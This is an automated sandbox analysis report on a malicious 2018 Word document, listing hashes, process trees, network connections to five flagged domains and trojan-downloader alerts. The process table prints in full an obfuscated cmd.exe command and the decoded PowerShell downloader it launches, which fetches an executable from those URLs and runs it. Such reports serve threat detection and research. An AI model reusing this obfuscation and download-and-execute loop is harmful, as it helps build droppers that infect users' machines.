File name: | Untitled-201812_IM1183978-60.doc |
Full analysis: | https://app.any.run/tasks/f37c3f8b-2bea-46fb-8c09-80ff924951bd |
Verdict: | Malicious activity |
Analysis date: | December 18, 2018, 12:13:03 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 11:38:00 2018, Last Saved Time/Date: Tue Dec 18 11:38:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 33, Security: 0 |
MD5: | 8860BAE6C11B62B11026B1F51B774B21 |
SHA1: | 7A0FA21A0B9689259EE55A95E3EA2E5664F42B48 |
SHA256: | 5B4D81AB0190B3F4E5CFA944A7C204B91045174405535A02734CAB59C2B44247 |
SSDEEP: | 1536:2hJ81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadnBS77K5U+a9:2X8GhDS0o9zTGOZD6EbzCdB0W |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:18 11:38:00 |
ModifyDate: | 2018:12:18 11:38:00 |
Pages: | 1 |
Words: | 5 |
Characters: | 33 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 37 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2936 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Roaming\Untitled-201812_IM1183978-60.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3140 | c:\DzqGLXbD\ZFsJFzdCkd\DWwoWjzwsnY\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 8wR=;'kEP'=SEi$}}{hctac}};kaerb;'Yzl'=KEW$;JQU$ metI-ekovnI{ )00008 eg- htgnel.)JQU$ metI-teG(( fI;'oiC'=ZCc$;)JQU$ ,NGC$(eliFdaolnwoD.wSf${yrt{)wwz$ ni NGC$(hcaerof;'exe.'+fbd$+'\'+pmet:vne$=JQU$;'NCS'=kiE$;'079' = fbd$;'okL'=Nji$;)'@'(tilpS.'hwojizeH1/ua.moc.snaolracog.www//:ptth@T2xMywER/ur.knabmokorp.www//:ptth@h3o0GaM/ur.vslu.www//:ptth@ZRAM9GI/vt.akmap.www//:ptth@hiyBAXTC2I/moc.slairetameniwydnarb.www//:ptth'=wwz$;tneilCbeW.teN tcejbo-wen=wSf$;'BbK'=wVd$ llehsrewop&&for /L %A in (470,-1,0)do set pZQ=!pZQ!!8wR:~%A,1!&&if %A lss 1 call %pZQ:~-471%" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3680 | CmD /V:O/C"set 8wR=;'kEP'=SEi$}}{hctac}};kaerb;'Yzl'=KEW$;JQU$ metI-ekovnI{ )00008 eg- htgnel.)JQU$ metI-teG(( fI;'oiC'=ZCc$;)JQU$ ,NGC$(eliFdaolnwoD.wSf${yrt{)wwz$ ni NGC$(hcaerof;'exe.'+fbd$+'\'+pmet:vne$=JQU$;'NCS'=kiE$;'079' = fbd$;'okL'=Nji$;)'@'(tilpS.'hwojizeH1/ua.moc.snaolracog.www//:ptth@T2xMywER/ur.knabmokorp.www//:ptth@h3o0GaM/ur.vslu.www//:ptth@ZRAM9GI/vt.akmap.www//:ptth@hiyBAXTC2I/moc.slairetameniwydnarb.www//:ptth'=wwz$;tneilCbeW.teN tcejbo-wen=wSf$;'BbK'=wVd$ llehsrewop&&for /L %A in (470,-1,0)do set pZQ=!pZQ!!8wR:~%A,1!&&if %A lss 1 call %pZQ:~-471%" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3616 | powershell $dVw='KbB';$fSw=new-object Net.WebClient;$zww='http://www.brandywinematerials.com/I2CTXAByih@http://www.pamka.tv/IG9MARZ@http://www.ulsv.ru/MaG0o3h@http://www.prokombank.ru/REwyMx2T@http://www.gocarloans.com.au/1Hezijowh'.Split('@');$ijN='Lko';$dbf = '970';$Eik='SCN';$UQJ=$env:temp+'\'+$dbf+'.exe';foreach($CGN in $zww){try{$fSw.DownloadFile($CGN, $UQJ);$cCZ='Cio';If ((Get-Item $UQJ).length -ge 80000) {Invoke-Item $UQJ;$WEK='lzY';break;}}catch{}}$iES='PEk'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2936 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR69F5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2936 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F6ADF13.wmf | — | |
MD5:— | SHA256:— | |||
2936 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\16F97D99.wmf | — | |
MD5:— | SHA256:— | |||
3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\OMBH99XDDHZ18LLQE70B.temp | — | |
MD5:— | SHA256:— | |||
2936 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:D54EF75E542155A03DAEF5B6D413EEBB | SHA256:562D35F242B53183D0D079C1C1AD18E899707440C8E0659262664879D6B869B7 | |||
3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF247753.TMP | binary | |
MD5:6073B6FC66D2E68644893344F6904E4A | SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3 | |||
2936 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\~$titled-201812_IM1183978-60.doc | pgc | |
MD5:EF01D64C598CAED6C1F6CE29201DDD20 | SHA256:5A4FDD14683499CBF6DEC52D3F54B942549BAACA008DCE4807634822483B67D0 | |||
2936 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2629E5F8.wmf | wmf | |
MD5:FA6F1A305431069481926E7E2853614D | SHA256:53D75DDC7A02D1BFC3E54D520807298D1AA02E00E97D2C3A2CEA09EF09B2AE5F | |||
2936 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A5ABD8DA.wmf | wmf | |
MD5:16E2B88B5F4757E34DA97AFA00D33E8C | SHA256:E2B074C12C4F9E86509B84D7617F2ABCF3E1F72D7300244EE3E2BD94EC154080 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3616 | powershell.exe | GET | 404 | 177.185.192.132:80 | http://www.pamka.tv/IG9MARZ | BR | xml | 345 b | malicious |
3616 | powershell.exe | GET | 404 | 122.201.97.130:80 | http://www.gocarloans.com.au/1Hezijowh | AU | xml | 345 b | malicious |
3616 | powershell.exe | GET | 404 | 5.101.152.80:80 | http://www.ulsv.ru/MaG0o3h | RU | xml | 345 b | malicious |
3616 | powershell.exe | GET | 404 | 109.199.96.206:80 | http://www.brandywinematerials.com/I2CTXAByih | US | xml | 345 b | malicious |
3616 | powershell.exe | GET | 404 | 92.53.96.14:80 | http://www.prokombank.ru/REwyMx2T | RU | xml | 345 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3616 | powershell.exe | 177.185.192.132:80 | www.pamka.tv | IPV6 Internet Ltda | BR | malicious |
3616 | powershell.exe | 92.53.96.14:80 | www.prokombank.ru | TimeWeb Ltd. | RU | suspicious |
3616 | powershell.exe | 109.199.96.206:80 | www.brandywinematerials.com | SingleHop, Inc. | US | malicious |
3616 | powershell.exe | 122.201.97.130:80 | www.gocarloans.com.au | Net Logistics Pty. Ltd. | AU | malicious |
3616 | powershell.exe | 5.101.152.80:80 | www.ulsv.ru | Beget Ltd | RU | suspicious |
Domain | IP | Reputation |
---|---|---|
www.brandywinematerials.com |
| malicious |
www.pamka.tv |
| malicious |
www.ulsv.ru |
| malicious |
www.prokombank.ru |
| malicious |
www.gocarloans.com.au |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3616 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |